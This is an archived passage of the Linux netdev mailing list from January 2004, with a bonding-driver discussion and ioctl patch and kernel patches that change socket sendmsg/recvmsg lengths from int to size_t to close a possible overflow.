tony.cureington@hp.com Subject: RE: [Bonding-devel] [PATCH] [bonding 2.6] Add balance-xor-ip bonding mode In-Reply-To: <72A87F7160C0994D8C5A36E2FDC227F502B3E9BE@txnexc01.americas.cpqcorp.net> X-archive-position: 2283 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: per@hedeland.org Precedence: bulk X-list: netdev Content-Length: 711 Lines: 13 "Cureington, Tony" wrote: > >I'm curious of the reasoning behind "u ^= (u >> 24) ^ (u >> 16) ^ (u >> 8);", what advantages does it have over using the xor'd addresses just before this line? Maybe someone loaded decaf on me this morning? :-/ The idea is to take all octets of the addresses into account (similar logic is already used in bond_alb.c btw). E.g. if the number of slaves is a power of 2 (2 or 4 is probably very common), a full_address % num_slaves operation will effectively only use one octet (happens to be the first one on x86, which is probably the worst choice, but of course that could be compensated for). Or am I missing something? --Per Hedeland per@hedeland.org From amir.noam@intel.com Thu Jan 8 13:28:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 13:28:23 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08LS0Ta027487 for ; Thu, 8 Jan 2004 13:28:04 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i08GRSek012840; Thu, 8 Jan 2004 16:27:28 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i08GRRxV001366; Thu, 8 Jan 2004 16:27:27 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010818272719257 ; Thu, 08 Jan 2004 18:27:27 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i08GRQhb003985; Thu, 8 Jan 2004 18:27:27 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 1/4] [bonding 2.6] Add bonding ioctl hook Date: Thu, 8 Jan 2004 18:27:24 +0200 User-Agent: KMail/1.5.3 Cc: , MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401081827.26718.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2284 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Content-Length: 2706 Lines: 86 Add two bonding ioctls: SIOCBONDING: ioctl hook to handle commands not directed at a specific bond interface. SIOCBONDDEVICE: ioctl to handle commands for a bond interface. This ioctl can also handle all existing commands, so we can regard them as obsolete in the future. All future bonding operations will be a sub-command of one of these ioctls. diff -Nuarp a/include/linux/sockios.h b/include/linux/sockios.h --- a/include/linux/sockios.h Thu Jan 8 18:06:41 2004 +++ b/include/linux/sockios.h Thu Jan 8 18:06:42 2004 @@ -115,7 +115,9 @@ #define SIOCBONDSLAVEINFOQUERY 0x8993 /* rtn info about slave state */ #define SIOCBONDINFOQUERY 0x8994 /* rtn info about bond state */ #define SIOCBONDCHANGEACTIVE 0x8995 /* update to a new active slave */ - +#define SIOCBONDING 0x8996 /* deviceless bonding commands */ +#define SIOCBONDDEVICE 0x8997 /* device oriented bonding commands */ + /* Device private ioctl calls */ /* diff -Nuarp a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Thu Jan 8 18:06:41 2004 +++ b/net/core/dev.c Thu Jan 8 18:06:42 2004 @@ -2408,6 +2408,7 @@ static int dev_ifsioc(struct ifreq *ifr, cmd == SIOCBONDSLAVEINFOQUERY || cmd == SIOCBONDINFOQUERY || cmd == SIOCBONDCHANGEACTIVE || + cmd == SIOCBONDDEVICE || cmd == SIOCGMIIPHY || cmd == SIOCGMIIREG || cmd == SIOCSMIIREG || @@ -2565,6 +2566,7 @@ int dev_ioctl(unsigned int cmd, void *ar case SIOCBONDSLAVEINFOQUERY: case SIOCBONDINFOQUERY: case SIOCBONDCHANGEACTIVE: + case SIOCBONDDEVICE: if (!capable(CAP_NET_ADMIN)) return -EPERM; dev_load(ifr.ifr_name); diff -Nuarp a/net/socket.c b/net/socket.c --- a/net/socket.c Thu Jan 8 18:06:41 2004 +++ b/net/socket.c Thu Jan 8 18:06:42 2004 @@ -754,6 +754,17 @@ void dlci_ioctl_set(int (*hook)(unsigned } EXPORT_SYMBOL(dlci_ioctl_set); +static DECLARE_MUTEX(bond_ioctl_mutex); +static int (*bond_ioctl_hook)(unsigned long arg); + +void bond_ioctl_set(int (*hook)(unsigned long)) +{ + down(&bond_ioctl_mutex); + bond_ioctl_hook = hook; + up(&bond_ioctl_mutex); +} +EXPORT_SYMBOL(bond_ioctl_set); + /* * With an ioctl, arg may well be a user mode pointer, but we don't know * what to do with it - that's up to the protocol still. @@ -826,6 +837,17 @@ static int sock_ioctl(struct inode *inod up(&dlci_ioctl_mutex); } break; + case SIOCBONDING: + err = -ENOPKG; + if (!bond_ioctl_hook) + request_module("bonding"); + + down(&bond_ioctl_mutex); + if (bond_ioctl_hook) { + err = bond_ioctl_hook(arg); + } + up(&bond_ioctl_mutex); + break; default: err = sock->ops->ioctl(sock, cmd, arg); break; From shemminger@osdl.org Thu Jan 8 13:39:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 13:39:27 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08LdCTa028019 for ; Thu, 8 Jan 2004 13:39:13 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08Ld1o03897; Thu, 8 Jan 2004 13:39:01 -0800 Date: Fri, 9 Jan 2004 13:39:50 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (2/17) ipv4/ipv6 - size_t for send/recvmsg Message-Id: <20040109133950.52e423fd@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2286 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 10472 Lines: 314 Convert sendmsg/recvmsg from size as int to size as size_t. Remove comment in UDP that addresses this very issue. diff -Nru a/include/net/inet_common.h b/include/net/inet_common.h --- a/include/net/inet_common.h Fri Jan 9 13:38:06 2004 +++ b/include/net/inet_common.h Fri Jan 9 13:38:06 2004 @@ -23,11 +23,11 @@ extern int inet_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *ubuf, - int size, int flags); + size_t size, int flags); extern int inet_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, - int size); + size_t size); extern int inet_shutdown(struct socket *sock, int how); extern unsigned int inet_poll(struct file * file, struct socket *sock, struct poll_table_struct *wait); extern int inet_setsockopt(struct socket *sock, int level, diff -Nru a/include/net/tcp.h b/include/net/tcp.h --- a/include/net/tcp.h Fri Jan 9 13:38:06 2004 +++ b/include/net/tcp.h Fri Jan 9 13:38:06 2004 @@ -752,7 +752,7 @@ extern int tcp_v4_tw_remember_stamp(struct tcp_tw_bucket *tw); extern int tcp_sendmsg(struct kiocb *iocb, struct sock *sk, - struct msghdr *msg, int size); + struct msghdr *msg, size_t size); extern ssize_t tcp_sendpage(struct socket *sock, struct page *page, int offset, size_t size, int flags); extern int tcp_ioctl(struct sock *sk, @@ -846,7 +846,7 @@ extern void tcp_set_keepalive(struct sock *sk, int val); extern int tcp_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, - int len, int nonblock, + size_t len, int nonblock, int flags, int *addr_len); extern int tcp_listen_start(struct sock *sk); diff -Nru a/include/net/udp.h b/include/net/udp.h --- a/include/net/udp.h Fri Jan 9 13:38:06 2004 +++ b/include/net/udp.h Fri Jan 9 13:38:06 2004 @@ -68,7 +68,7 @@ struct sockaddr *usin, int addr_len); extern int udp_sendmsg(struct kiocb *iocb, struct sock *sk, - struct msghdr *msg, int len); + struct msghdr *msg, size_t len); extern int udp_rcv(struct sk_buff *skb); extern int udp_ioctl(struct sock *sk, int cmd, unsigned long arg); diff -Nru a/net/ipv4/af_inet.c b/net/ipv4/af_inet.c --- a/net/ipv4/af_inet.c Fri Jan 9 13:38:06 2004 +++ b/net/ipv4/af_inet.c Fri Jan 9 13:38:06 2004 @@ -731,7 +731,7 @@ int inet_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, - int size, int flags) + size_t size, int flags) { struct sock *sk = sock->sk; int addr_len = 0; @@ -746,7 +746,7 @@ int inet_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, - int size) + size_t size) { struct sock *sk = sock->sk; diff -Nru a/net/ipv4/raw.c b/net/ipv4/raw.c --- a/net/ipv4/raw.c Fri Jan 9 13:38:06 2004 +++ b/net/ipv4/raw.c Fri Jan 9 13:38:06 2004 @@ -324,7 +324,7 @@ } static int raw_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, - int len) + size_t len) { struct inet_opt *inet = inet_sk(sk); struct ipcm_cookie ipc; @@ -335,17 +335,6 @@ u8 tos; int err; - /* This check is ONLY to check for arithmetic overflow - on integer(!) len. Not more! Real check will be made - in ip_build_xmit --ANK - - BTW socket.c -> af_*.c -> ... make multiple - invalid conversions size_t -> int. We MUST repair it f.e. - by replacing all of them with size_t and revise all - the places sort of len += sizeof(struct iphdr) - If len was ULONG_MAX-10 it would be cathastrophe --ANK - */ - err = -EMSGSIZE; if (len < 0 || len > 0xFFFF) goto out; @@ -523,10 +512,10 @@ */ int raw_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, - int len, int noblock, int flags, int *addr_len) + size_t len, int noblock, int flags, int *addr_len) { struct inet_opt *inet = inet_sk(sk); - int copied = 0; + size_t copied = 0; int err = -EOPNOTSUPP; struct sockaddr_in *sin = (struct sockaddr_in *)msg->msg_name; struct sk_buff *skb; diff -Nru a/net/ipv4/tcp.c b/net/ipv4/tcp.c --- a/net/ipv4/tcp.c Fri Jan 9 13:38:06 2004 +++ b/net/ipv4/tcp.c Fri Jan 9 13:38:06 2004 @@ -1029,7 +1029,7 @@ } int tcp_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, - int size) + size_t size) { struct iovec *iov; struct tcp_opt *tp = tcp_sk(sk); @@ -1498,7 +1498,7 @@ */ int tcp_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, - int len, int nonblock, int flags, int *addr_len) + size_t len, int nonblock, int flags, int *addr_len) { struct tcp_opt *tp = tcp_sk(sk); int copied = 0; diff -Nru a/net/ipv4/udp.c b/net/ipv4/udp.c --- a/net/ipv4/udp.c Fri Jan 9 13:38:06 2004 +++ b/net/ipv4/udp.c Fri Jan 9 13:38:06 2004 @@ -478,7 +478,7 @@ } int udp_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, - int len) + size_t len) { struct inet_opt *inet = inet_sk(sk); struct udp_opt *up = udp_sk(sk); @@ -493,18 +493,7 @@ int err; int corkreq = up->corkflag || msg->msg_flags&MSG_MORE; - /* This check is ONLY to check for arithmetic overflow - on integer(!) len. Not more! Real check will be made - in ip_append_* --ANK - - BTW socket.c -> af_*.c -> ... make multiple - invalid conversions size_t -> int. We MUST repair it f.e. - by replacing all of them with size_t and revise all - the places sort of len += sizeof(struct iphdr) - If len was ULONG_MAX-10 it would be cathastrophe --ANK - */ - - if (len < 0 || len > 0xFFFF) + if (len > 0xFFFF) return -EMSGSIZE; /* @@ -782,7 +771,7 @@ */ int udp_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, - int len, int noblock, int flags, int *addr_len) + size_t len, int noblock, int flags, int *addr_len) { struct inet_opt *inet = inet_sk(sk); struct sockaddr_in *sin = (struct sockaddr_in *)msg->msg_name; diff -Nru a/net/ipv6/raw.c b/net/ipv6/raw.c --- a/net/ipv6/raw.c Fri Jan 9 13:38:06 2004 +++ b/net/ipv6/raw.c Fri Jan 9 13:38:06 2004 @@ -345,13 +345,15 @@ * we return it, otherwise we block. */ -static int rawv6_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, int len, +static int rawv6_recvmsg(struct kiocb *iocb, struct sock *sk, + struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len) { struct ipv6_pinfo *np = inet6_sk(sk); struct sockaddr_in6 *sin6 = (struct sockaddr_in6 *)msg->msg_name; struct sk_buff *skb; - int copied, err; + size_t copied; + int err; if (flags & MSG_OOB) return -EOPNOTSUPP; @@ -527,7 +529,8 @@ IP6_INC_STATS(Ip6OutDiscards); return err; } -static int rawv6_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, int len) +static int rawv6_sendmsg(struct kiocb *iocb, struct sock *sk, + struct msghdr *msg, size_t len) { struct ipv6_txoptions opt_space; struct sockaddr_in6 * sin6 = (struct sockaddr_in6 *) msg->msg_name; diff -Nru a/net/ipv6/udp.c b/net/ipv6/udp.c --- a/net/ipv6/udp.c Fri Jan 9 13:38:06 2004 +++ b/net/ipv6/udp.c Fri Jan 9 13:38:06 2004 @@ -366,12 +366,14 @@ * return it, otherwise we block. */ -static int udpv6_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, int len, +static int udpv6_recvmsg(struct kiocb *iocb, struct sock *sk, + struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len) { struct ipv6_pinfo *np = inet6_sk(sk); struct sk_buff *skb; - int copied, err; + size_t copied; + int err; if (addr_len) *addr_len=sizeof(struct sockaddr_in6); @@ -774,7 +776,8 @@ return err; } -static int udpv6_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, int len) +static int udpv6_sendmsg(struct kiocb *iocb, struct sock *sk, + struct msghdr *msg, size_t len) { struct ipv6_txoptions opt_space; struct udp_opt *up = udp_sk(sk); @@ -841,7 +844,7 @@ /* Rough check on arithmetic overflow, better check is made in ip6_build_xmit */ - if (len < 0 || len > INT_MAX - sizeof(struct udphdr)) + if (len > INT_MAX - sizeof(struct udphdr)) return -EMSGSIZE; if (up->pending) { diff -Nru a/net/sctp/socket.c b/net/sctp/socket.c --- a/net/sctp/socket.c Fri Jan 9 13:38:06 2004 +++ b/net/sctp/socket.c Fri Jan 9 13:38:06 2004 @@ -90,7 +90,7 @@ static inline void sctp_set_owner_w(struct sctp_chunk *chunk); static void sctp_wfree(struct sk_buff *skb); static int sctp_wait_for_sndbuf(struct sctp_association *, long *timeo_p, - int msg_len); + size_t msg_len); static int sctp_wait_for_packet(struct sock * sk, int *err, long *timeo_p); static int sctp_wait_for_connect(struct sctp_association *, long *timeo_p); static int sctp_wait_for_accept(struct sock *sk, long timeo); @@ -943,7 +943,7 @@ SCTP_STATIC int sctp_msghdr_parse(const struct msghdr *, sctp_cmsgs_t *); SCTP_STATIC int sctp_sendmsg(struct kiocb *iocb, struct sock *sk, - struct msghdr *msg, int msg_len) + struct msghdr *msg, size_t msg_len) { struct sctp_opt *sp; struct sctp_endpoint *ep; @@ -965,7 +965,7 @@ struct list_head *pos; int msg_flags = msg->msg_flags; - SCTP_DEBUG_PRINTK("sctp_sendmsg(sk: %p, msg: %p, msg_len: %d)\n", + SCTP_DEBUG_PRINTK("sctp_sendmsg(sk: %p, msg: %p, msg_len: %u)\n", sk, msg, msg_len); err = 0; @@ -1021,7 +1021,7 @@ associd = sinfo->sinfo_assoc_id; } - SCTP_DEBUG_PRINTK("msg_len: %d, sinfo_flags: 0x%x\n", + SCTP_DEBUG_PRINTK("msg_len: %u, sinfo_flags: 0x%x\n", msg_len, sinfo_flags); /* MSG_EOF or MSG_ABORT cannot be set on a TCP-style socket. */ @@ -1377,7 +1377,7 @@ static struct sk_buff *sctp_skb_recv_datagram(struct sock *, int, int, int *); SCTP_STATIC int sctp_recvmsg(struct kiocb *iocb, struct sock *sk, - struct msghdr *msg, int len, int noblock, + struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len) { struct sctp_ulpevent *event = NULL; @@ -4157,14 +4157,14 @@ /* Helper function to wait for space in the sndbuf. */ static int sctp_wait_for_sndbuf(struct sctp_association *asoc, long *timeo_p, - int msg_len) + size_t msg_len) { struct sock *sk = asoc->base.sk; int err = 0; long current_timeo = *timeo_p; DEFINE_WAIT(wait); - SCTP_DEBUG_PRINTK("wait_for_sndbuf: asoc=%p, timeo=%ld, msg_len=%d\n", + SCTP_DEBUG_PRINTK("wait_for_sndbuf: asoc=%p, timeo=%ld, msg_len=%u\n", asoc, (long)(*timeo_p), msg_len); /* Increment the association's refcnt. */ From shemminger@osdl.org Thu Jan 8 13:39:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 13:39:26 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08LdCTa028018 for ; Thu, 8 Jan 2004 13:39:12 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08Ld0o03884; Thu, 8 Jan 2004 13:39:00 -0800 Date: Fri, 9 Jan 2004 13:26:58 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (1/17) protocol sendmsg/revmsg prototype Message-Id: <20040109132658.01aa28dd@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2285 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 6285 Lines: 156 When sendmsg (or recvmsg) system call is processed, the total size of the message is calculated as unsigned (size_t), but then passed through as integer in the protocol switch table. This leads to possible problems when protocols only check size > pmtu and size could potentially be negative. The protocols work around this (mostly) today by checking for less than zero or recasting, but the right thing is to change protocol switch to pass it through as size_t. This doesn't change the user ABI for sendmsg/recvmsg. The first patch changes the prototype, and causes all the protocols to generate warnings that are cleared up in the next sixteen. This was found by Chris Wright who raised it a potential DOS attack point. diff -Nru a/include/linux/net.h b/include/linux/net.h --- a/include/linux/net.h Mon Dec 8 16:19:31 2003 +++ b/include/linux/net.h Mon Dec 8 16:19:31 2003 @@ -120,9 +120,9 @@ int (*getsockopt)(struct socket *sock, int level, int optname, char __user *optval, int __user *optlen); int (*sendmsg) (struct kiocb *iocb, struct socket *sock, - struct msghdr *m, int total_len); + struct msghdr *m, size_t total_len); int (*recvmsg) (struct kiocb *iocb, struct socket *sock, - struct msghdr *m, int total_len, + struct msghdr *m, size_t total_len, int flags); int (*mmap) (struct file *file, struct socket *sock, struct vm_area_struct * vma); @@ -151,13 +151,13 @@ struct socket **res); extern void sock_release(struct socket *sock); extern int sock_sendmsg(struct socket *sock, struct msghdr *msg, - int len); + size_t len); extern int sock_recvmsg(struct socket *sock, struct msghdr *msg, - int size, int flags); + size_t size, int flags); extern int sock_readv_writev(int type, struct inode *inode, struct file *file, const struct iovec *iov, long count, - long size); + size_t size); extern int sock_map_fd(struct socket *sock); extern struct socket *sockfd_lookup(int fd, int *err); #define sockfd_put(sock) fput(sock->file) @@ -216,9 +216,9 @@ char *optval, int optlen), (sock, level, optname, optval, optlen)) \ SOCKCALL_WRAP(name, getsockopt, (struct socket *sock, int level, int optname, \ char *optval, int *optlen), (sock, level, optname, optval, optlen)) \ -SOCKCALL_WRAP(name, sendmsg, (struct kiocb *iocb, struct socket *sock, struct msghdr *m, int len), \ +SOCKCALL_WRAP(name, sendmsg, (struct kiocb *iocb, struct socket *sock, struct msghdr *m, size_t len), \ (iocb, sock, m, len)) \ -SOCKCALL_WRAP(name, recvmsg, (struct kiocb *iocb, struct socket *sock, struct msghdr *m, int len, int flags), \ +SOCKCALL_WRAP(name, recvmsg, (struct kiocb *iocb, struct socket *sock, struct msghdr *m, size_t len, int flags), \ (iocb, sock, m, len, flags)) \ SOCKCALL_WRAP(name, mmap, (struct file *file, struct socket *sock, struct vm_area_struct *vma), \ (file, sock, vma)) \ diff -Nru a/include/net/sock.h b/include/net/sock.h --- a/include/net/sock.h Mon Dec 8 16:19:31 2003 +++ b/include/net/sock.h Mon Dec 8 16:19:31 2003 @@ -418,10 +418,10 @@ int optname, char *optval, int *option); int (*sendmsg)(struct kiocb *iocb, struct sock *sk, - struct msghdr *msg, int len); + struct msghdr *msg, size_t len); int (*recvmsg)(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, - int len, int noblock, int flags, + size_t len, int noblock, int flags, int *addr_len); int (*sendpage)(struct sock *sk, struct page *page, int offset, size_t size, int flags); @@ -624,9 +624,9 @@ extern int sock_no_setsockopt(struct socket *, int, int, char *, int); extern int sock_no_sendmsg(struct kiocb *, struct socket *, - struct msghdr *, int); + struct msghdr *, size_t); extern int sock_no_recvmsg(struct kiocb *, struct socket *, - struct msghdr *, int, int); + struct msghdr *, size_t, int); extern int sock_no_mmap(struct file *file, struct socket *sock, struct vm_area_struct *vma); diff -Nru a/net/core/sock.c b/net/core/sock.c --- a/net/core/sock.c Mon Dec 8 16:19:31 2003 +++ b/net/core/sock.c Mon Dec 8 16:19:31 2003 @@ -966,13 +966,13 @@ } int sock_no_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *m, - int flags) + size_t len) { return -EOPNOTSUPP; } int sock_no_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *m, - int len, int flags) + size_t len, int flags) { return -EOPNOTSUPP; } diff -Nru a/net/socket.c b/net/socket.c --- a/net/socket.c Mon Dec 8 16:19:31 2003 +++ b/net/socket.c Mon Dec 8 16:19:31 2003 @@ -523,7 +523,8 @@ sock->file=NULL; } -static inline int __sock_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, int size) +static inline int __sock_sendmsg(struct kiocb *iocb, struct socket *sock, + struct msghdr *msg, size_t size) { struct sock_iocb *si = kiocb_to_siocb(iocb); int err; @@ -540,7 +541,7 @@ return sock->ops->sendmsg(iocb, sock, msg, size); } -int sock_sendmsg(struct socket *sock, struct msghdr *msg, int size) +int sock_sendmsg(struct socket *sock, struct msghdr *msg, size_t size) { struct kiocb iocb; int ret; @@ -553,7 +554,8 @@ } -static inline int __sock_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, int size, int flags) +static inline int __sock_recvmsg(struct kiocb *iocb, struct socket *sock, + struct msghdr *msg, size_t size, int flags) { int err; struct sock_iocb *si = kiocb_to_siocb(iocb); @@ -571,7 +573,8 @@ return sock->ops->recvmsg(iocb, sock, msg, size, flags); } -int sock_recvmsg(struct socket *sock, struct msghdr *msg, int size, int flags) +int sock_recvmsg(struct socket *sock, struct msghdr *msg, + size_t size, int flags) { struct kiocb iocb; int ret; @@ -668,7 +671,7 @@ } int sock_readv_writev(int type, struct inode * inode, struct file * file, - const struct iovec * iov, long count, long size) + const struct iovec * iov, long count, size_t size) { struct msghdr msg; struct socket *sock; From shemminger@osdl.org Thu Jan 8 13:39:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 13:39:27 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08LdDTa028020 for ; Thu, 8 Jan 2004 13:39:13 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08Ld1o03902; Thu, 8 Jan 2004 13:39:01 -0800 Date: Fri, 9 Jan 2004 13:40:00 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com, Maxim Krasnyansky Subject: [PATCH] (3/17) bluetooth -- size_t for send/recvmsg Message-Id: <20040109134000.7201c3af@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2287 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 4695 Lines: 136 Convert bluetooth sendmsg/recvmsg from size as int to size_t. Add check in HCI that sendmsg < max allowed frame size. diff -Nru a/include/net/bluetooth/bluetooth.h b/include/net/bluetooth/bluetooth.h --- a/include/net/bluetooth/bluetooth.h Mon Dec 8 16:19:37 2003 +++ b/include/net/bluetooth/bluetooth.h Mon Dec 8 16:19:37 2003 @@ -129,7 +129,7 @@ struct sock *bt_sock_alloc(struct socket *sock, int proto, int pi_size, int prio); void bt_sock_link(struct bt_sock_list *l, struct sock *s); void bt_sock_unlink(struct bt_sock_list *l, struct sock *s); -int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, int len, int flags); +int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, size_t len, int flags); uint bt_sock_poll(struct file * file, struct socket *sock, poll_table *wait); int bt_sock_wait_state(struct sock *sk, int state, unsigned long timeo); diff -Nru a/net/bluetooth/af_bluetooth.c b/net/bluetooth/af_bluetooth.c --- a/net/bluetooth/af_bluetooth.c Mon Dec 8 16:19:37 2003 +++ b/net/bluetooth/af_bluetooth.c Mon Dec 8 16:19:37 2003 @@ -201,12 +201,13 @@ } int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int len, int flags) + struct msghdr *msg, size_t len, int flags) { int noblock = flags & MSG_DONTWAIT; struct sock *sk = sock->sk; struct sk_buff *skb; - int copied, err; + size_t copied; + int err; BT_DBG("sock %p sk %p len %d", sock, sk, len); diff -Nru a/net/bluetooth/hci_sock.c b/net/bluetooth/hci_sock.c --- a/net/bluetooth/hci_sock.c Mon Dec 8 16:19:37 2003 +++ b/net/bluetooth/hci_sock.c Mon Dec 8 16:19:37 2003 @@ -319,7 +319,8 @@ put_cmsg(msg, SOL_HCI, HCI_CMSG_TSTAMP, sizeof(skb->stamp), &skb->stamp); } -static int hci_sock_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, int len, int flags) +static int hci_sock_recvmsg(struct kiocb *iocb, struct socket *sock, + struct msghdr *msg, size_t len, int flags) { int noblock = flags & MSG_DONTWAIT; struct sock *sk = sock->sk; @@ -355,7 +356,8 @@ return err ? : copied; } -static int hci_sock_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, int len) +static int hci_sock_sendmsg(struct kiocb *iocb, struct socket *sock, + struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; struct hci_dev *hdev; @@ -370,9 +372,9 @@ if (msg->msg_flags & ~(MSG_DONTWAIT|MSG_NOSIGNAL|MSG_ERRQUEUE)) return -EINVAL; - if (len < 4) + if (len < 4 || len > HCI_MAX_FRAME_SIZE) return -EINVAL; - + lock_sock(sk); if (!(hdev = hci_pi(sk)->hdev)) { diff -Nru a/net/bluetooth/l2cap.c b/net/bluetooth/l2cap.c --- a/net/bluetooth/l2cap.c Mon Dec 8 16:19:37 2003 +++ b/net/bluetooth/l2cap.c Mon Dec 8 16:19:37 2003 @@ -706,7 +706,8 @@ return err; } -static int l2cap_sock_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, int len) +static int l2cap_sock_sendmsg(struct kiocb *iocb, struct socket *sock, + struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; int err = 0; diff -Nru a/net/bluetooth/rfcomm/sock.c b/net/bluetooth/rfcomm/sock.c --- a/net/bluetooth/rfcomm/sock.c Mon Dec 8 16:19:37 2003 +++ b/net/bluetooth/rfcomm/sock.c Mon Dec 8 16:19:37 2003 @@ -482,12 +482,12 @@ } static int rfcomm_sock_sendmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; struct rfcomm_dlc *d = rfcomm_pi(sk)->dlc; struct sk_buff *skb; - int err, size; + int err; int sent = 0; if (msg->msg_flags & MSG_OOB) @@ -501,7 +501,7 @@ lock_sock(sk); while (len) { - size = min_t(uint, len, d->mtu); + size_t size = min(len, d->mtu); skb = sock_alloc_send_skb(sk, size + RFCOMM_SKB_RESERVE, msg->msg_flags & MSG_DONTWAIT, &err); @@ -556,10 +556,11 @@ } static int rfcomm_sock_recvmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int size, int flags) + struct msghdr *msg, size_t size, int flags) { struct sock *sk = sock->sk; - int target, err = 0, copied = 0; + int err = 0; + size_t target, copied = 0; long timeo; if (flags & MSG_OOB) diff -Nru a/net/bluetooth/sco.c b/net/bluetooth/sco.c --- a/net/bluetooth/sco.c Mon Dec 8 16:19:37 2003 +++ b/net/bluetooth/sco.c 